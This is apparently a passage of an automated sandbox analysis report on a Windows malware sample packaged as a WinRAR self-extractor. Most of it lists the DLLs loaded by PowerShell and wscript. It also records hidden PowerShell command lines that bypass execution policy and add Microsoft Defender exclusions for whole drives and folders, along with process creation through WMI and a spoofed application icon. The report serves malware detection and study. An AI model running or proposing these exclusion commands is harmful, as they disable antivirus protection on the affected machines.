        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: linkinfo.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntshrui.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cscapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: policymanager.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msvcp110_win.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: jscript.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appxsip.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: opcservices.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: esdsip.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winhttpcom.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wbemcomn.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: napinsp.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: pnrpnsp.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshbth.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: nlaapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iphlpapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mswsock.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: dnsapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winrnr.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: fwpuclnt.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rasadhlp.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edputil.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appresolver.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: bcp47langs.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: slc.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sppc.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ntmarta.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: taskschd.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: xmllite.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: jscript.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winhttpcom.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wbemcomn.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: napinsp.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: pnrpnsp.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshbth.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: nlaapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iphlpapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mswsock.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: dnsapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winrnr.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: fwpuclnt.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rasadhlp.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winhttp.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: webio.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winnsi.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: fwpuclnt.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: schannel.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mskeyprotect.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ntasn1.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ncrypt.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ncryptsslp.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: dpapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: jscript.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winhttpcom.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wbemcomn.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: napinsp.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: pnrpnsp.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshbth.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: nlaapi.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iphlpapi.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mswsock.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: dnsapi.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winrnr.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: fwpuclnt.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rasadhlp.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winhttp.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ondemandconnroutehelper.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: webio.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winnsi.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: fwpuclnt.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: schannel.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mskeyprotect.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ntasn1.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ncrypt.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ncryptsslp.dll
        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: dpapi.dll
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32Jump to behavior
        Source: Window RecorderWindow detected: More than 3 window changes detected
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
        Source: YyVnwn8Zst.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
        Source: YyVnwn8Zst.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
        Source: YyVnwn8Zst.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
        Source: YyVnwn8Zst.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
        Source: YyVnwn8Zst.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
        Source: YyVnwn8Zst.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
        Source: YyVnwn8Zst.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
        Source: YyVnwn8Zst.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
        Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: YyVnwn8Zst.exe
        Source: YyVnwn8Zst.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
        Source: YyVnwn8Zst.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
        Source: YyVnwn8Zst.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
        Source: YyVnwn8Zst.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
        Source: YyVnwn8Zst.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

        Data Obfuscation

        barindex
        Suspicious powershell command line found
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:"
        Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local"
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:"Jump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local"Jump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeFile created: C:\Users\user\AppData\Local\Temp\__tmp_rar_sfx_access_check_5522265Jump to behavior
        Source: YyVnwn8Zst.exeStatic PE information: real checksum: 0x62ded should be: 0x619c1
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BDE336 push ecx; ret 0_2_00BDE349
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BDD8C4 push eax; ret 0_2_00BDD8E2

        Persistence and Installation Behavior

        barindex
        Creates processes via WMI
        Source: C:\Windows\SysWOW64\wscript.exeWMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_Process::Create

        Hooking and other Techniques for Hiding and Protection

        barindex
        Icon mismatch, binary includes an icon from a different legit application in order to fool users
        Source: initial sampleIcon embedded in binary file: icon matches a legit application icon: icon1005.png
        Loading BitLocker PowerShell Module
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
